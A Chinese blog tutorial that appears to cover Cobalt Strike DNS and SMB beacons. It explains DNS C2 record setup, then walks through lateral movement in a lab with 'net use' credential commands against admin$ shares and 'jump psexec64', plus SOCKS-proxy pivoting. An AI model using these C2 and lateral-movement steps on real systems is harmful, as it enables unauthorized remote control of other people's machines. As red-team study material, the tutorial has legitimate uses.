dns与smb beacon详解与一种内网穿透方法的实践
dns beacon创建listener假设我的二级域名为 test.com。设置域名的A记录例如 bk.test.com,值为自己的工网ip。再设置几个ns记录,例如game.test.com,ns记录的值写成bk.test.com。dns host(stager)设置vps的a记录的域名在dns hosts 设置ns记录。原理木马运行后受害者主机会查询我们指定的DNS Host中的域名的A记录
dns beacon
创建listener
假设我的二级域名为 test.com。
设置域名的A记录例如 bk.test.com,值为自己的公网ip。
再设置几个ns记录,例如game.test.com,ns记录的值写成bk.test.com。
dns host(stager)设置vps的a记录的域名
在dns hosts 设置ns记录。
原理
木马运行后受害者主机会查询我们指定的DNS Hosts中的域名的子域名记录,DNS Hosts中的域名的NS记录都是我们的C2,所以按照DNS解析的原理,受害者主机会向我们的C2发送DNS查询的请求,这时候我们C2就会利用dns-txt这种通道与受害者主机进行通信来向受害主机传达命令以达到控制效果。
这种隧道是被加密的,且CS4.0之后只有dns-txt通道,之前的http通道因为保密性太差被舍弃。
如果还有不理解可以参考:cobaltstrike dns beacon知多少这篇文章。
获取beacon如果想和其交互则需要checkin命令,help checkin可以看到帮助信息,大意就是会让dns beacon强制回连你的teamserver,checkin之后就会发现图标变了,也可以进行交互了。
smb beacon
使用条件
1.具有 SMB Beacon 的主机必须接受 445 端口上的连接。
2.只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
3.利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
创建listener
管道名字可以自定义
原理
smb beacon生成的木马跟其他木马不同,倘若直接放在受害者主机上作为第一个木马去运行,那么受害者主机一定是无法上线的。它要在一种特殊的情况下使用,且十分重要。
假设有三个主机 a b c,我们的C2是a且我们已经有了b的权限,b可以访问c,c也可以访问b但不能访问a。
这时候我们就可以使用smb beacon 然主机C上线。(前提是有主机C的账号密码)
实验
teamserver:192.168.124.135
主机red:192.168.124.111 192.168.23.23
主机blue:192.168.23.99
我们已经有了red的权限。
我们可以访问red,但是不能访问blue,可是red可以访问blue,这里可以弄一个smb beacon,当然也可以使用socket代理等。这里我们先说smb beacom。
先创建一个payload为smb beacon的linstener。
假设我们已经通过某种方法得到了blue的账号密码,例如得到了域控的账号密码。这时候我们使用smb beacon进行横移。
我们已经有了与red主机交互的beacon,所以首先扫描其他内网主机有没有开445端口。
然后在beacon中输入以下命令:
第一条是创建链接,第二条是确定连接创建成功,第三条是创建 smb beacon。
成功上线。
附录:在beacon里输入命令
shell net use \\192.168.23.99\admin$ /user:"administrator" "123"
#建立连接
ls \\192.168.23.99\c$
#看是否连接成功
jump psexec64 192.168.23.99 smb
# 建立smb beacon连接,最后的smb是我的smb listener 的名字。
net use \\IP地址\admin$ /delete
#删除链接
在Windows非标准用户下使用 net use 时会发生系统错误1312,如下图所示: 解决方法是在用户名前面加上“任意字符串\”,比如: net use \192.168.3.46\ipc$ /user:whatever\administrator password
内网穿透的一种方式
这里顺便再说一种内网穿透的方式,也就是socket代理。操作方法大概就是先以我们已有的beacon创建socket代理,然后创建一个stage在目标系统上运行,即可达到上线。
第一步:以已有的beacon为代理生成listener
第二步:生成无状态stage木马
第三步:在目标主机上运行且上线成功
下篇文章会说一下foreign beacon与CS跟msf之间的回话派发。
其他
net use \\192.168.3.46\C$ /user:whatever\administrator password
上面这条命令中将C$换成admin$有什么区别呢?
C$只是共享了C盘,admin$可以理解为共享了主机的控制权。
更多推荐










所有评论(0)